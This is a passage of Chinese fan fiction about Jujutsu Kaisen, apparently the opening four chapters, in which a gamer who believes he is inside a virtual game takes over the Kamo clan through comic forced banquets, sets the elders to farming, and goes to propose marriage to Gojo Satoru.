《玩家即将抵达他忠诚的咒术界》 1、第 1 章 咚、咚咚—— 几声低闷的和太鼓声打碎死寂,弥漫在东松殿里的氛围变了。 以加茂宗家的数位长老为首,按照其内部严格的尊卑顺序呈左右两列依次排开,跪坐在被称作高坏的餐台前。 内部的其余族人则要坐的更后方一些,皆以正座的姿势跪坐在畳垫之上,低着头,大气也不敢出。 加茂家这次举办的正月饗宴,比以往任何一次都要来得特殊许多。 看前面那几位长老黑沉的脸色,被召集起来的他们瞬间便理解了事态的严峻程度。 只是——他们仍然有一个问题想不太明白。 此时此刻,原本应当坐在尊座的加茂家主……为何是眼前这位年纪不大的青年? 即使他将腰背挺直,身穿正统的纹付羽织袴,望过来的黑眸内几乎没有任何情绪,衬得他整个人清俊且冷漠,好似他理所应当坐在这里般,透出一种高高在上的疏离与威严。 即使青年本身丝毫不介意他们的随意打量,但这个问题仍然存在于绝大多数人心里—— 这个擅自坐在加茂家主位置上的不速之客,到底是谁啊。 “开始吃吧。” ——在榉木与牛皮制成的和太鼓被敲响后,青年忽然开口。 他的声线清澈,语调极为平淡,但并不妨碍作出简短的自我介绍。 “我是加茂家的第25代新家主,记得支持我,” 停顿片刻,那位青年才似乎又想起来般,补充了一句敬语,“请。” 当这句话落下,所有人都感觉自己的思维好似恍惚了片刻。 接着,他们下意识服从【吃】的命令,伸手端起被放在面前的饭碗,用筷子夹一口,放进嘴里。 “呸呸呸,好难吃……” 坐在前方的长老尚且能在饭菜入口时不动声色,后面的人已经开始轻声抱怨了。 以往的正月饗宴,也没这么冰冷还发硬的米饭、酸到掉牙的腌萝卜片,以及咸过头的味增汤啊! 这个自称为新加茂家主的人是怎么回事,在正月的功宴上就给他们吃这个?! 但不知道出于什么原因,他们就好似着了魔般,明明心理和生理都在疯狂嫌弃这餐饭,筷子的动作却没有停下。 难吃啊……难吃死了…… 他们一边在脑海里拼命抱怨,一边往嘴里拼命扒饭。 坐在家主尊位上的青年没有动筷,而是认真往下首望来,黑瞳里隐隐流露出某种期待的情绪。 当这顿饭吃到中途,前方的一位长老似乎被腌萝卜酸得忍无可忍,筷子被怒拍在餐台上,砸出一声巨大的动静。 “混账,你这个不知羞耻的臭小子,竟敢假冒加茂家主坐在主位,用这种粗糙的膳食来羞辱我等!” 胡须都气到在哆嗦,加茂长吉的手愤怒指向那位青年,甚至直接站起了身。 “我绝无可能支持你当家主,平七,把他抓起来!” 加茂平七是加茂宗家的守备队队长,负责结界的看管与宅邸的警戒与防御。 不知道为什么这小子会坐在主位,甚至不清楚他的来历,但有一件事可以肯定—— 他,绝对不可能,认同这个混账当加茂家主! 【宴会结束,你的个人魅力与社交技巧增加了!】 此刻,正坐在加茂家主尊位上的青年——羽取一真,接收到了这个弹窗通知。 这么快就结束了? 略作沉思后的羽取一真意念微动,悬浮在他面前的半透明弹窗便迅速切换,变成任务阅览模式。 目前只有一个任务挂在上面,还是他刚进游戏时就自动触发的。 不过,他倒也不是特意选择了当加茂家主的路线。 确切的说,他一进游戏就直接跳过那冗长的文字介绍和新手教程,连着点完好几个【确定】与【是】之后,再眨眼就来到了这里。 甚至连外貌的年龄都变大了些。 【获得加茂宗家的支持,成为被众人认可的加茂家主。当前支持率:5%/100%】 下方是一排人名,目前几乎都是灰色的,是还没有支持他当家主的加茂族人。 虽说是第一次邀请他们吃饭,但这竟然才只获得了5%啊,有点低。 嗯,没办法了,再来一次吧。 羽取一真看了眼任务进度条,又将目光放回面前这个正冲他吹胡子瞪眼的老头。 不愧是划时代的虚拟游戏,npc的性格确实拟真,连任务都没有任何提示,想要完成就只能全凭自己摸索。 这对他来说也不是什么烦恼,多玩一段时间,自然而然就摸会了。 幸好目前还开放了些基本功能。 【请客:当您感到自己不受欢迎,或许一次融洽而丰盛的宴会能使您的个人魅力与社交技巧获得提升。也可以作为对下属的犒劳——无论如何,总是能给予您一点帮助的……大概? 您可以选择: —>1金/人:简单的饭,使用流水线批量生产的腌渍食材,除了上菜时间短以外一无是处。真的会有人愿意吃这个吗? —>10金/人:普通的饭,速冻食材与人工进行灶台加热所结合的后现代产品。在科技的加持下有点美味,或许可以多吃两口。 —>100金/人:豪华的饭,最新鲜的天然食材来自技艺最精湛的大厨。没有人会舍得放下筷子,就像钓鱼佬不会放弃手中的豪华钓竿。】 刚才,羽取一真就通过任务里列出的任务人员名单,把他们都勾上请客,然后选择最简单也是最便宜的饭,最终试探出一顿可以增加5%支持率的结果。 或许其余选项能获得更多的支持率,但一个人一顿饭就想吃掉他100金? 点着这房间里至少三、四十人的数量,又看了眼只有10000的初始资金,羽取一真在心里微微摇头。 不、这帮npc不值得。 1金/人,继续。 一次不行,多来几次就好了。 就在加茂长吉发怒,以为至少能试探出这个陌生小子的深浅时,却发现对方的表情依旧没有任何变化。 不仅没有,他面对已经拔刀的加茂平七,甚至只是用手点了点台面。 “没必要打,开始吃吧。” 那位青年说出了几乎相同的开场白。 随即,不知道从哪里冒出来的仆人,也动作迅速的撤走了他们面前的餐台,又换上了新的。 还是冰冷发硬的米饭、酸到掉牙的腌萝卜片,和咸过头的味增汤。 众人发现自己再次下意识伸手端起了面前的碗,开始扒饭。 包括重新坐回去的加茂平七和加茂长吉。 加茂平七甚至要面露惊恐——他刚要挥刀攻击的,身体却在听到对方说话后,从善如流的收刀坐了回去! 还举着筷子,夹起了他最厌恶的腌萝卜片! “…………” “你在糊弄老夫?!” 没吃两口,筷子比上次还要更快速度的怒拍在桌面,“你这到底是什么,术式吗!” 【宴会结束,你的个人魅力与社交技巧增加了!】 【获得加茂宗家的支持,成为被众人认可的加茂家主。当前支持率:7%/100%。】 正常吃完是一回事,但中途只要有一个人表达不满,宴会就会强制结束。 而这次,他获得的支持率比上次还要少一点。 没关系,这饭便宜,让他请几十次都无所谓——反正又不是他吃。 羽取一真毫不在意,继续选择1金/人的【请客】。 反正只要他掏了钱,宴会就会强制开启,必须得经过【上菜—>吃进肚子里—>不满】的流程,才能结束。 于是,众人刚要在内心对加茂长吉的魄力赞扬出声,就看见那位新家主继续手指一点。 “别着急,开始吃吧。” 他指着那群仆人再度换上来的新餐台,太鼓同样配合的再度敲响,宣告饗宴的噩梦还在继续。 就好像有一种无形的力量、或者是一种隐隐发自内心的声音,让所有人重新端起那碗硬邦邦冷飕飕的米饭,开始吃。 “…………” 这天杀的到底是怎么回事,是他的术式效果吗!? 好难吃啊,不要再让他们吃下去了! 啪! 又是筷子被怒砸在地面的声音,这次换了个长老抗议。羽取一真的目光微微扫过他,重新看了眼弹窗。 【宴会结束,你的个人魅力与社交技巧增加了!】 【获得加茂宗家的支持,成为被众人认可的加茂家主。当前支持率:10%/100%。】 很好,看来这涨支持率的结果是随机的,不会一直递减。 1金/人的【请客】,继续。 “开始吃吧。” 啪! “开始吃吧。” 啪! “开始吃……” ………… 这场原本应该举办在正月里的盛大饗宴,硬是让加茂宗家的族人从中午坐到晚上,塞了一肚子硌牙的硬米饭、酸掉牙的腌萝卜和咸到齁的味增汤。 哪怕一次餐台只吃了一两口就被撤成新的,也架不住一直吃啊! 一次两口、一次两口的,现在他们端着新送来的饭,已经完全吃不下去了,却还在勉强自己动筷扒米…… 所有人的眼里都吃出了对生活的淡淡绝望,与妥协。 长老……嗝……他想当新家主…嗝……就让他当吧………咱们……嗝,也不能一直坐在这里吃这烂饭是吧…… “…………” 这帮拥有族内重大事务核心裁定权的长老们,也逐渐吃得不吭声了。 只要有人出声反对,这个莫名其妙的新家主就能把餐台撤成新的让他们重新吃,一副必须要全体都吃完这顿饭、且支持他当家主的架势! 这世上怎么会有这种荒谬的敌人! 太荒谬了! 但他们不敢说话。 这位不知道打哪里来的新家主,已经用更荒谬的术式效果,证明了他的实力。 为了不让这折磨永无止境,哪怕是咒术界的核心高层,最为古板守旧、拥有一身傲骨的加茂长老们,此刻也不得不学会了低头。 屈辱又沉默地,扒饭。 2、第 2 章 没有人敢再出声反对,这场宴会终于得以顺利的进行到尾声。 满场悄然无声,吃得极其安静。 很难想象堂堂加茂宗家的一场盛大正月饗宴,给众人准备的食物竟然如此……节约。 全程只有筷子与碗轻轻碰撞的声响,大家都生怕再搞出点任何动静,让那位新家主误认为他们在表示反对,导致这顿该死的烂饭又要从头开始吃起。 难吃已经是另一回事,毕竟吃了这么多顿,差不多也快要习惯了。 问题在于,他们真的要吃不下了……嗝。 而且那个混……新家主自己一口不动,光用这莫名其妙的术式来逼他们吃!可恶! 但就算这帮加茂族内的老头在心底对着这个陌生的青年破口大骂,想要杀死他一万次,面上依旧还是得老老实实地动筷干饭。 这个咒言似的术式,可比他们掌握的咒言术情报厉害太多——甚至达到宛若神明的言出法随,即使尝试用咒力中和也毫无用处! 在无限吃烂饭的威胁面前,没有人敢再出声反对他当新家主。 众所周知,不反对就是支持。 【宴会结束,你的个人魅力与社交技巧增加了!】 【获得加茂宗家的支持,成为被众人认可的加茂家主。当前支持率:100%/100%。】 【根据您的达成方式,奖励:经营功能开放。】 羽取一真望着庆祝任务成功的系统弹窗,再看一眼还剩7660的金币,愉快地轻轻颔首。 很好,这不就用最小的力气完成任务了吗?钱也没花多少。 要说用战斗来解决这个任务,他当然也是可以的。 毕竟这款游戏在给他宣传时,就用过“打击感十足”、“多咒术途径”、“高难度敌人”之类的形容词;而他在进入游戏中后,也根据加茂家主的身份,获得了他的战斗技能。 【咒力(四级):一切技能使用的基础。可通过各种方式来提高咒力上限,获得更持续的作战时间。】 【黑闪(四级):威力为普通攻击的2.5次方。使用时将消耗大量咒力。】 【赤血操术(核心)(四级):您将拥有操纵自身血液进行战斗的能力。可通过不断战斗来提高熟练度,解锁更多相关技能。】 在这游戏里,咒力相当于魔法的蓝量,他目前的攻击技能除了黑闪就是赤血操术;而四级似乎是最低等级,然后是三级、二级、一级,以及最高的特级。 也就是说,如果他打算用武力征服这个加茂宗家,大约得从这座大宅的西边杀到东边,再杀回来,直到名单上反对他的人都被清干净为止。 有点累,没必要。 作为一款高开放度的虚拟游戏,肯定会设计更自由的通关路线。 看他现在,花最少的钱,多请几次客吃饭,不也达成了理想的结果吗?还能增加个人魅力与社交技巧。 何况,经营功能开放后,这些侥幸存活的npc老头还能给他干活,把吃进去的金币再赚回来。 战斗升级可以去野外刷怪,这些老头要是被杀了不刷新,谁来给他干活? 就目前而言,羽取一真很满意这个奖励。 “很好,” 当宴会结束、餐台被撤走后,他开口对底下这些金币……不对,这些老头说道。 “很高兴我们在此达成共识,从今以后,我就是加茂家的新家主了。” 前排的宗家长老们在心里气得咬牙切齿,但没有人敢再提反对意见。 后方的所有人都如释重负的看着那些空餐台被撤走,没有再端新的上来。 终、终于解脱了…… 而且,他们的心底,在冥冥之中,似乎生出了一种莫名微妙的感觉——对于眼前这位陌生青年即将当他们的新家主这件事,好像也没有那么反感了? 那是一种自暴自弃般的接受,一种面对绝望的无力躺平……乃至,彻底失去了反抗的欲望…… 真是见鬼,他们怎么会这么快就接受一个让他们吃烂饭的新家主,莫非这也是那家伙的术式效果吗?? 说起来,刚才也是长老们反抗的态度特别强硬,这次他们是不是也能抵抗住这股奇怪的精神侵蚀,反抗新家主…? 想到这里,后排的众人已经开始偷偷的打量起长老们的反应。 而前排的加茂长吉,刚才第一个摔筷子的加茂长老,确实也想要怒骂这个新家主又给他们暗地里下绊子。 那股恼恨在脑海里不断的沸腾、爆炸,几欲令他丧失理智,整张脸都扭曲成难看的一团,令周围察觉到这份升腾气势的族人都在心里暗暗为他鼓劲。 加油啊,长吉大人!我们的内心已经快要坚持不住的屈服这个烂饭恶魔,全靠你才能率领大家反抗了! 于是,终于在加茂长吉脑中那份浓炼而成的怒意到达极点时,他霍然起身! 正坐的羽取一真视线也随之微抬,“嗯?” 在众人汇聚而成的希冀目光中,加茂长吉悲愤道。 “既然您要当新家主,竟然到目前为止都没有告知我等姓名,未免也太不将人放在眼里了!” 众人:“………………” 众人在内心疯狂抱头。 您怎么也屈服了啊啊啊长吉大人! “哦。”羽取一真恍然。 进游戏的第一个任务被完成以后,就该进入到下一个剧情阶段了。 就在这时,游戏的弹窗也适时出现在羽取一真的眼前。 【为本周目的您取一个名字:_______。请注意,点击确定之后,直至本周目的游戏结束,名字都无法进行二次变更,且具备对人员强制称呼效果。】 【请谨慎取名。】 强制称呼效果……是指无论他取什么,只要npc想要喊他的名字,就会被强制喊出来吗? 大概是设计者认为,如果是对话靠文字弹窗的游戏,哪怕起些稀奇古怪的名字,也只是显示在预设的对话框里而已,并不会让声优真的读出来。 而这款游戏毕竟过于真实,如果取些太奇怪的名字,npc要是真的对着他喊出来,可能会感到些许羞耻? 嗯,原来如此,从这个方面考虑,就能够说得通为什么建议他谨慎取名了。 羽取一真捏了捏下巴,思索道。 这么说,他是得认真考虑一下。 于是,在加茂众人屏息般的片刻等待过后,他们终于听到这位新上任的年轻家主张开口,缓缓发声。 “我叫……英俊的爸爸。” 语气沉稳有力,话语铿锵自信。 满场死寂。 所有人都用不敢置信的目光,直愣愣瞪着眼前这位长相清俊、气场冷漠的青年。 脑海中不约而同冒出的,是内容高度统一的想法。 这人有毛病吧?!!??! 加茂长老们更是险些气了个倒仰,突突的血管直冲脑门。 卑鄙!!这人简直卑鄙至极!! 厚颜无耻!!! 竟然这样来羞辱他们!!!! 站起来的加茂长吉,更是气得浑身都在哆嗦,惹来羽取一真好奇又困惑的一瞥。 怎么了这是? “您大可不必如此!”加茂长吉的声音也跟着气到发颤,“我等既然向您询问姓名,就已表明支持您成为加茂宗家的新家主了!” 羽取一真没想到这帮npc还会对他给自己取的名字表示抗议……这莫非算是一种另类的屏蔽词提醒? 但既然他在用意念输入并点击确定的时候,系统没有反对,那就是代表能用。 再说了,谁会在游戏里用自己的真名啊。 “这就是我的名字。” 于是,羽取一真也对这个npc老头强调道,“不信你试着喊一下别的。” 要不是游戏强调一周目只能起一个名字,他还想过段时间就换成【疯狂走地鸡】、【小原始人】之类的称呼呢。 何况,他是想来养包装宣传上的漂亮小悟的,在认真思索后,取出这个名字不是很正常吗?还额外强调了他的英俊属性。 “既然您这样说,” 加茂长吉在和服的袖袍里捏紧拳头,咬紧牙心一横。 “那么老夫认为,真正的家主之位应当属于这位英……英俊的爸爸!” 后面那个称呼,是加茂长吉明明想要说出另一个名字,舌头却不受控制地拐弯,喊出了这个纯粹是在折辱他们的大不敬称呼。 “嚯!”满座哗然。 竟然真的就这样喊出来了!这个恐怖的名字!! 接收到众人频频侧目的加茂长吉:“…………” 他一点也不想喊,一点也没有!但是他的舌头、他的意识不受控制,可恶,竟然这么一顺嘴就说出来了! 这也是这个恶魔青年的术式效果吗!究竟是什么样的发动机制啊! 怎么就盯上了他们加茂家! “很好,我猜你也没有异议了。” 羽取一真抬手示意这位整个人都在颤颤巍巍的老人家别激动,先来坐好。 “还有其他人有疑问吗?也可以一并提出来。” 加茂的长老们,此刻再也没有敢吭声的。 没谁想当着这么多人的面丢脸,一出声就要喊这个小他们不知道多少岁的新家主爸爸。 过了半晌,才有另一位名为加茂乃吉的长老,仔细且小心的斟酌着措辞,对羽取一真开口道。 “既然您已身为加茂家的新家主,所作出的任何指令都是正确的。” “嗯。”羽取一真对这个回答满意点头。 “那么,就让我们来聊聊接下来的经营方针。” 事不宜迟,现在得赶紧打开【经营】功能,让这些npc给他赚金币了。 3、第 3 章 众所周知,如果是别的类型游戏,还可以先放着主线任务不管,慢慢探索一下周围,挨个物品点过去,尤其是那些会闪亮晶晶光芒的提示。 但如果这款游戏开放了经营功能,那就很抱歉了。 不管是经营什么,时间,就等于他的钱。 饭可以晚吃两分钟,能赚钱的npc活不能耽搁一秒。 羽取一真先无视了底下面色各异的加茂众人,先用意念控制【经营】界面的弹窗浮现在他眼前。 【经营:恭喜您,作为一位杰出的资本家,我们解锁了与您气质相称的经营模块。现在,您可以安排您的部下为您工作了。 请注意,仅有您的部下亲自为您赚取的资金才会被计算收支,您在游戏中的身份所带来的附加收益,并不会统计为您个人的收益。 请注意,个人收益可以继承至下周目。 当前,您的个人拥有资金:7660。 当前,您有如下经营路线可以选择: —>贸易:包含进货、运输、销售在内的一整套流程。尝试购买不同地区的特色产品,并将其运往合适的地方售出以赚取差价。不同的原料、运输工具、以及销售地的物价,都有将影响到最终收益。 —>科技:培养或雇佣科研人才,在花费一定时间后,可以研究出包含专利的高科技新产品,并制作成商品出售。不同的人才会影响研究的时间,包括产出的商品也需要经受市场的考验。 —>旅游:发展所有权土地上现有的建筑与自然资源,通过宣传以招募游客前来消费。也可以花费一定资金建造具有巨大吸引力的标志性景观,能吸引更多的游客。标志性景观的数量与规模,将会直接影响该地的人气。 —>农业:使用劳动力来种植农产品并出售。仅需要土地、种子与店面,就可以获得稳定的产出。出售的农产品数量与种类,将直接影响所获得的收益。】 贸易……羽取一真扫了眼底下坐着的人,估计平均年龄都没有低于四十岁的。 无论让他们去哪里贸易,体力可能都会影响到路程花费的时间,这收益不太划算。而且…… “今天是几号?” 羽取一真随机点了个npc提问。 “啊,一、一月五日……?” 那位被点到名字的npc一个激灵,反而迟疑了下才敢开口。 “年份呢。”羽取一真继续问。 “……平…平成30年?” 平成30年啊……那就是2018年,别说科技的飞速发展已经快要到达瓶颈,就算将贸易这种商业活动放在日本,也得是出海才能赚得比较多啊。 何况他现在拥有的部下,平均年龄高得让人很难怀疑他们能不能撑得住远洋航海的艰苦。 万一有哪位npc嘎在路上,那可是他的损失。 如此一来,科技也暂时不用考虑了,这帮老头一看就不是什么聪明绝顶的科研人员,等他们能研究个什么东西出来,还不如指望他自己之后去雇佣新的。 至于旅游……他得先有大片的地啊。 虽然不知道他现在处于日本的哪个位置,但地需要花钱买不说,还必须多建造标志性景观……不行,要谨慎奇观误国啊,奇观误国。 羽取一真沉吟许久,发现目前还是选择农业最靠谱。 把这帮老头们放出去航海贸易不行、研究技术不行、造奇观不行,难道还不能把他们放家里种地吗? 种不了稻田,也能种个萝卜青菜西瓜之类的,这些要么是生存必需品,要么还能变成高价奢侈品。 嗯,果然还是最古老的职业最稳定,羽取一真选择【农业】后,又弹出种植土地的选择。 要说种植的土地…… 羽取一真打开目前拥有的个人资产清单,发现只有加茂宗家的宅邸一项——这估计还是他刚才完成任务后才出现的。 下面还写着【提升对加茂宗家的支配程度,将会解锁更多与加茂家相关的资产】。 不过,即使他目前只有加茂宗家的宅邸这一栏,对农业来说也已经够用了。 羽取一真对着这面半透明的弹窗操作几下,关闭。 完成这些后,他才重新望向坐在这间东松殿里的众人。 而被那双黑黝黝的瞳孔盯着,众人也随之一抖,不知道这位恶魔继盯上他们、问完时间后,又想出了什么恐怖的经营方针。 莫非是什么不为人知的上古咒物之类,目前才刚借助容器苏醒……? 越想越觉得这个可能性最大,但那又有什么用呢,他们依旧拿这个恶魔毫无办法,甚至开始真的在心底将他当作新家主了……可恶啊真是岂有此理! “诸位,我就长话短说了。” 羽取一真口吻淡然,但字句皆充斥着难以抗拒的无形魄力。 “我安排了10人,负责开垦这栋宅邸的庭院,将它改造成可以耕种的土地。另外29人,每个人拿好种子,跟着开垦出的土地后面播种。最后5人,去整理我新购买的店铺,到时候要销售这些种出来的农产品。” 底下坐着听他说话的所有人,慢慢张大嘴巴,但发不出一句声音。 “………………” 没听错吧,他们? 这个刚刚让他们吃了五十多顿烂饭的恶魔家主,现在,要他们在加茂家的庭院里给他种地赚钱?? 是不是瞧不起他们加茂家啊!?! 堂堂咒术界的御三家之一,继承了古代阴阳师的高贵血统,名门中的名门,在政府高层也掷地有声的正统望族,竟然!在今天!沦落到让长老与核心成员扛着锄头在宗家内挖地种菜!? 他知不知道加茂家到底多有钱啊!! 脾气差一点的,简直气得要当场跳脚,把刚才那个外面咚咚敲了半天的催命太鼓一头撞烂,然后指着这个烂饭恶魔的鼻子臭骂一顿! 但他们在口头上不敢造次,只能深吸一肚子气,然后委婉的指出:“家主,您有所不知,我们加茂家……具备足够您挥霍一辈子的经济实力。” 毕竟,谁也不想在骂这位新家主的时候,脱口而出一句英俊的爸爸。 那样会让整个场面变得很尴尬。 也很没有气势。 “我知道。” 羽取一真点头。 当加茂家主拥有的钱只能在这些npc之间互通,他想要赚自己的小金库,就得安排这些npc给他干活。 “我自认对你们还算不错了,”羽取一真的语气认真。 “至少,我都没有安排你们一天工作16个小时。” 在选择土地、购买价值50金的临街店铺、部署对应流程的工作人员数量等一系列流程完成后,弹窗给出了他下列几个工作时间的选择。 【开始运营您的第一处农业生产基地,请为工作人员选择不同的工作时间: —>4小时/天(产出量减少50%):一位慷慨且仁慈的资本家,没有员工会对你提出质疑,他们将非常乐意为你工作,并始终保持心情愉快与身体健康的良好状态。服从度会随着工作天数增加而提高。 —>8小时/天(产出量减少20%):一位合格且遵守法律的资本家,你的员工会在绝大多数时间里认真为你工作,但不能指望他们将为你做到更多。服从度不变。 —>16小时/天(产出量减少0%):一位冷酷且无情的资本家,你的员工会持续性心情低落,想要将你吊在路灯上的反抗精神将会贯穿工作时间的始终。服从度会随着工作天数增加而降低。】 羽取一真并不想变得慷慨且仁慈,但也担心服从度降得太低,会让他们真的打算把自己挂在路灯下。 因此,他选择了最保守的8小时/天。 其实也可以16小时/天和4小时/天交替着来,但目前的他资金并没有充足到可以试错,所以先暂时选择最稳妥的方案。 但总而言之,这帮npc要去种地赚钱的结果是保持不变的。 “…………” 听完这位新家主甚至打算让他们一天干活16个小时的长老们,差点要捂着心口倒下。 气煞、气煞人也!! 但在内心,他们已经产生了一种隐隐约约的冲动,想要立刻扛起锄头,跑去庭院里开垦土地……一刻都耽误不得! 时间就是家主的金钱! 没过多久,就有人扛不住内心冲动的起身,零零散散,也可能是伴随骂骂咧咧的离开了这间东松殿。 羽取一真满意看着这些能为他赚钱的npc去干活,又将目光返回在殿内唯一被他留下来的长老——加茂长吉。 因为他反抗的次数太多,让羽取一真都对他的名字有印象了,刚才部署工作人员时特意将他空出来。 身边也不能一个人都没有,他还有事情要问呢。 “加茂长老,” 羽取一真向他打听道。 “你知道【五条悟】在哪里吗?” 宣传包装上那位白毛蓝瞳的意气少年,他记得底下的名字介绍栏是这么拼的。 “五条……您是打算挑战他吗?” 听到这问题,加茂长吉的眼睛豁然一亮。 如果说加茂家要在未来被这个恶魔反复折腾,那么,他也很乐意看见那个总是和他们对着干的五条悟,同样在这个恶魔的手里吃苦头! “他目前在五条家,” 加茂长吉迫不及待回答道,“等新年过完后就会前往高专,届时,您就可以……” “谁要等新年过完,” 羽取一真抬手一挥,打断他的啰嗦。 “我现在就要去五条家和他一起过新年,你去给他们发个通知,安排一下。” 加茂长吉:“………………” 哪有加茂家的新家主跑去死对头的家里过新年的道理! 4、第 4 章 在加茂长吉拼了老命的劝诫下,羽取一真勉强同意先让他向五条家征求一起过新年的许可。 根据对方的解释,五条悟如今是特级咒术师,即使过新年也未必会在五条家里待着——尤其前段时间还爆发了新宿加京都的[百鬼夜行]大事件,他现在还有些扫尾的事情需要处理。 假设五条悟没有在五条家,那他过去了也是浪费时间,不如先等五条家那边将五条悟召回来,他再过去。 反正两家都在京都,坐专车过去的话也并没有很远。 [百鬼夜行]大事件……听完这大段苦口婆心劝说的羽取一真略沉吟片刻。 这个事件听起来感觉很重要,他需要去找相关npc了解吗,或许还能触发剧情任务? 算了,这些都可以先放一下,见到那位漂亮小悟再说,争取赶紧触发出一条养成路线。 不然他苦思冥想起的这名字,岂不是浪费了。 羽取一真姑且同意了加茂长吉的建议,决定耐心的等他先去和五条家沟通——但不是以寄送拜帖这种慢吞吞的传统形式。 “都2018年了,还不能直接打个电话吗?送信做什么,又不是送情书。” 羽取一真语气淡淡,“就算真的要送情书,那也该是我自己亲手送。” 加茂长吉:“…………” 这什么破比喻,送拜帖怎么能和送情书相提并论! 但他敢怒不敢言,只能磨着牙退下。 既然加茂长吉需要给五条家打电话,羽取一真便打算先逛一圈用2340枚金币挣来的这栋资产。 典型的和式宅邸,用传统的珍稀桧木建造,庭院里用枯山水绘制意境,正殿位于坐北朝南的内测方位,四角有延伸至北、东、西对殿的长廊,左右又各往前延伸出一个临着池塘的泉殿与钓殿,专门用来夏天消暑与钓鱼赏景。 羽取一真沿着殿侧的长廊粗略逛完一圈,最后只在钓殿停住了脚步。 既然这栋宅邸有设置钓鱼点,要是不趁有空来钓点什么东西,总感觉有些可惜。 加茂长吉不在身边,羽取一真左右望了番,发现不远处正好有个疑似在看风景的闲逛npc。 “那位,对,就是你。” 羽取一真向这位不知闭眼还是眯眼的少年招手示意。 “帮我拿一根钓竿,顺带再拿一些饵料。” 正好等漂亮小悟回五条家的期间,他来钓点鱼赚金币。 面对羽取一真理所当然般的指示,加茂宪纪同样左右望了下,最后茫然伸手指着自己。 “欸,是在喊我?” 羽取一真:“嗯。” 由于继承了加茂祖传术式[赤血操术],而被当成加茂宗家嫡子养大的加茂宪纪:“…………” 这个不知道从哪里来的陌生家伙,怎么会这么理直气壮的指挥自己干活? 话说他刚才从东门过来时,好多原本高高在上的长老,眼下都在一边唉哟唉哟的抱怨,一边挥着锄头挖庭院……那种足以震撼他内心一万年的场景,莫非也和眼前这位青年有关吗? “哦,是我安排的。” 他听见眼前这位黑发黑眸的青年平淡解答了他的疑惑,似乎这压根就不是个问题。 “我现在是加茂家的新家主,当然有权利让他们去种菜赚钱。” “…………!?” 一时间,加茂宪纪不知道该震惊前半句话,还是该震惊后半句话。 他憋了半晌,也没憋出半个字。 明明他还抱着要成为加茂家家主的目标而努力,怎么突然就从天而降了一个新家主!? “话说,你这么一问,” 正在惊疑中的加茂宪纪突然又听见对方自言自语般开口,“看来加茂家的族人还有很多没成为我的部下啊,是不是支配程度还不够?” 支配…是要怎么个支配法? 加茂宪纪在心底倒吸一口气。 但羽取一真紧接着向他发出邀请。 “你想吃饭吗?一个人吃的话,整体花费的时间有点不划算。你可以再多喊点人过来,你们一起吃。” 除了任务给出的名单外,只有他接触过的npc才会在【社交】里显示出名字——只要有名字,他就能请客。 比如眼前这个npc,显示名字是[加茂宪纪],但再点进去,个人资料那里就几乎都空白着,大概是等着他进一步探索。 加茂宪纪:“…………” 有种每个字都很普通的听懂了,但连在一起就变成了某种微妙的不祥预感。 加茂宪纪飞速摇头,险些把鬓角那两绺稍长的垂发甩成拨浪鼓。 不管对方打算请什么,他都不想吃! 还是赶紧给他拿完钓竿,再去找长老问问什么情况。 终于拿到钓竿和饵料的羽取一真,坐在钓殿里边等加茂长吉的好结果,边开始钓鱼。 【钓鱼:恭喜您,作为一位无孔不入的垂钓者,我们解锁了与您行为相称的钓鱼技能。现在,您可以通过在各个地点的垂钓来升级您的钓鱼技能,并在商城换取成您的个人收益了。 请注意,已解锁的技能可以继承至下周目。 钓鱼(四级):一种充满趣味的娱乐项目,但若要以成功钓上鱼为评判标准,您显然还是刚上路的新手。或许打窝仙人这个称号更适合您?】 没想到钓鱼竟然也和攻击列表里的技能一样,需要依靠不断的钓鱼来获得等级提升。 在等待的时间里,羽取一真始终都在钓殿里钓鱼,直到加茂长吉找过来。 “通知的结果怎么样?” “咳,挺顺利,”加茂长吉开口,“五条家那边说五条悟今天晚上确实会回来参加晚宴,如果您要去的话,我们这就准备拜访礼物……毕竟,我们是新年上门。” “嗯,想得很周到。” 羽取一真欣然应允,依依不舍的收起钓竿,跟着他坐进家主专属轿车里。 不愧是大宅里特意挖出来的人工池塘,钓上来的鱼又多又值钱。 话说,安排npc在这个鱼…池塘里养鱼卖钱,也是条不错的赚钱路径啊。 羽取一真坐在车上思索,越想越觉得可行。 加茂长吉陪同坐在副驾驶的车座上,听着这个恶魔般的新家主不时在发出低声的呵呵轻笑,只感觉一阵又一阵的浑身发毛。 他这次过去……莫非打算靠那一招反复强迫人吃烂饭,把五条家也收入囊中吗!? 以往总是对五条悟百般看不顺眼,但此刻,加茂长吉反而在祈祷五条悟实力是真正的[最强],能够把这不知道从哪个时代来的受肉咒物祓除掉…… 伴随着加茂长吉一路的虔诚祈祷,轿车稳稳停在了五条宅邸的门口。 作为御三家之一,五条宅邸的规模与加茂家也是不遑多让,需要从正门走过一条长长的走廊,才能来到专门举办宴会的正殿。 眼下,摇曳着暖光的灯笼在庭院里连成一片,又一直延伸至四周障子门大开的廊下,将这场晚宴映照得辉光通明。 羽取一真跟着五条家仆人的指引一路走到殿内,不知道多少双眼睛,或明或暗的打量着他。 但他来回扫视数遍,始终没找到与印在包装上的白发少年相符合的人,才在最终,又重新看向加茂长吉。 “五条悟在哪?” “你问在哪……” 加茂长吉对羽取一真的这问题也感到困惑。 身为五条家主的五条悟,自然也是坐在尊位的——眼下他不就在那里坐着吗,还在不停的往他们这边打量过来呢。 “就在主位上坐着,那里,白发戴墨镜的那位。” 羽取一真顺着他抬手示意的方向,这才往认为最不可能的主位上看去。 那里的榻榻米被抬高一截,正坐着目测身高超过一米九的白发青年,早已从那边朝他望过来,盘腿托腮的姿态随性而散漫。 非要形容的话,他并不像传统印象里的刻板家主,反而透着某种更吸引目光的特殊气质,像一簇燃在黑夜里的火苗,张扬又明亮。 “我就是五条悟,听说你急着来找我呢,” 见羽取一真终于将视线准确的锁定在他身上,对方便也开口了,声音是好奇的,既轻且飘,又带着一点棉花糖似的软。 当他略低着头,用试探的视线打量过来时,漆黑的圆墨镜后便显露出了一点点极漂亮的浅淡雾蓝。 “有什么事情吗,这位加茂家的新家主?” 羽取一真有些默然,倒不算非常失望。 他只是以为他会见到一位漂亮小悟,然后解锁养成路线;但当他真的进游戏,见到的却是这么大一只的五条悟。 虽然也很漂亮没错…… 嗯,果然无论怎么看都很漂亮,确实真的非常漂亮,不愧是漂亮小悟,长大了也还是这么好看。 ——想想看也完全没问题,漂亮大悟也有漂亮大悟的好。 羽取一真沉吟片刻,上前半步,直视他的目光沉稳而笃定。 “我是来和你联姻的。” 五条悟:“…欸?和加茂家的谁?” 羽取一真:“我。” 五条悟:“……” 五条悟:“……?!” 5、第 5 章 寂静。 